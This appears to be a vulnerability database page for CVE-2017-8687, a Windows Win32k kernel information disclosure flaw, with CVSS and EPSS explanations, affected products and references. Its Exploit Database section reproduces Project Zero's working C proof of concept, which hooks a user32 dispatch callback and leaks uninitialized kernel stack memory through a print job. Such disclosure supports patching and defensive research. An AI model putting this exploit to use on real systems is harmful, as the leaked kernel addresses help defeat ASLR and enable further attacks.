CVE-2017-8687 : Detail

CVE-2017-8687

5.5
/
Medium
A01-Broken Access Control
48.18%V3
Local
2017-09-13
01h00 +00:00
2024-09-16
17h33 +00:00
CVE.org
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CVE Descriptions

The Windows kernel component on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allows an information disclosure vulnerability when it improperly handles objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8678, CVE-2017-8680, CVE-2017-8677, and CVE-2017-8681.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42749

Publication date : 2017-09-17 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1304 We have discovered that the win32k!NtGdiDoBanding system call discloses portions of uninitialized kernel stack memory to user-mode clients. More specifically, exactly 8 bytes of uninitialized kernel stack memory are copied to ring-3 in one of two execution contexts (unique stack traces): --- 1 --- #0 win32k.sys!memcpy+00000033 #1 win32k.sys!UMPDOBJ::ThunkMemBlock+00000047 #2 win32k.sys!UMPDDrvStartBanding+000000b1 #3 win32k.sys!GreDoBanding+000000ad #4 win32k.sys!NtGdiDoBanding+0000001f #5 ntoskrnl.exe!KiSystemServicePostCall+00000000 --- 1 --- ... and ... --- 2 --- #0 win32k.sys!memcpy+00000033 #1 win32k.sys!UMPDOBJ::ThunkMemBlock+00000047 #2 win32k.sys!UMPDDrvNextBand+000000b1 #3 win32k.sys!GreDoBanding+0000011e #4 win32k.sys!NtGdiDoBanding+0000001f #5 ntoskrnl.exe!KiSystemServicePostCall+00000000 --- 2 --- The names and offsets are specific to Windows 7 32-bit from February 2017, as symbols for the latest win32k.sys are not available from the Microsoft Symbol Server at the moment. The leaked bytes origin from the stack frame of the win32k!NtGdiDoBanding function (top-level syscall handler), and a pointer to the uninitialized buffer is passed down to win32k!GreDoBanding in the third argument. The attached proof-of-concept program can be used to reproduce the vulnerability on Windows 7 32-bit. On our test virtual machine, the output is as follows: --- cut --- [+] Leaked data: 00000bf8 00460000 [+] Leaked data: ff9ed130 969e68ad [+] Leaked data: ff9ed130 969e68ad [+] Leaked data: ff9ed130 969e68ad ... --- cut --- As it turns out, 0xff9ed130 is a valid paged session pool address, and 0x969e68ad is a valid code address within win32k.sys: --- cut --- 3: kd> !pool ff9ed130 Pool page ff9ed130 region is Paged session pool ff9ed000 size: 118 previous size: 0 (Allocated) Usqu *ff9ed118 size: ee8 previous size: 118 (Allocated) *GDev Pooltag GDev : Gdi pdev 3: kd> u 969e68ad win32k!EngReleaseSemaphore+0x2f6: 969e68ad c3 ret 969e68ae 90 nop 969e68af 90 nop 969e68b0 90 nop 969e68b1 90 nop 969e68b2 90 nop 969e68b3 8bff mov edi,edi 969e68b5 55 push ebp --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> namespace globals { LPVOID(WINAPI *OrigClientPrinterThunk)(LPVOID); } // namespace globals PVOID *GetUser32DispatchTable() { __asm { mov eax, fs:30h mov eax, [eax + 0x2c] } } BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) { PVOID *DispatchTable = GetUser32DispatchTable(); DWORD OldProtect; if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) { printf("VirtualProtect#1 failed, %d\n", GetLastError()); return FALSE; } *lpOrigHandler = DispatchTable[Index]; DispatchTable[Index] = lpNewHandler; if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) { printf("VirtualProtect#2 failed, %d\n", GetLastError()); return FALSE; } return TRUE; } LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) { LPDWORD DwordData = (LPDWORD)Data; if (DwordData[0] == 0x1c && (DwordData[1] == 0x39 || DwordData[1] == 0x3a)) { LPDWORD LeakedData = (LPDWORD)DwordData[6]; printf("[+] Leaked data: %.8x %.8x\n", LeakedData[0], LeakedData[1]); } return globals::OrigClientPrinterThunk(Data); } int main() { // Hook the user32!ClientPrinterThunk callback. if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) { printf("Hooking ClientPrinterThunk failed.\n"); return 1; } // Obtain a print job DC. PRINTDLGA pd = { 0 }; pd.lStructSize = sizeof(pd); pd.Flags = PD_RETURNDEFAULT | PD_ALLPAGES | PD_RETURNDC | PD_PRINTTOFILE; pd.nFromPage = 1; pd.nToPage = 1; pd.nCopies = 1; if (!PrintDlgA(&pd)) { printf("PrintDlgA failed.\n"); return 1; } // Initialize the print job. DOCINFOA doc_info = { 0 }; doc_info.cbSize = sizeof(doc_info); doc_info.lpszDocName = "Document"; doc_info.lpszOutput = "C:\\Windows\\Temp\\output"; if (StartDocA(pd.hDC, &doc_info) <= 0) { printf("StartDoc failed.\n"); return 1; } if (StartPage(pd.hDC) <= 0) { printf("StartPage failed.\n"); return 1; } // // The bug is triggered here. // EndPage(pd.hDC); // Free resources. EndDoc(pd.hDC); DeleteDC(pd.hDC); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

References

http://www.securityfocus.com/bid/100736
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42749/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1039325
Tags : vdb-entry, x_refsource_SECTRACK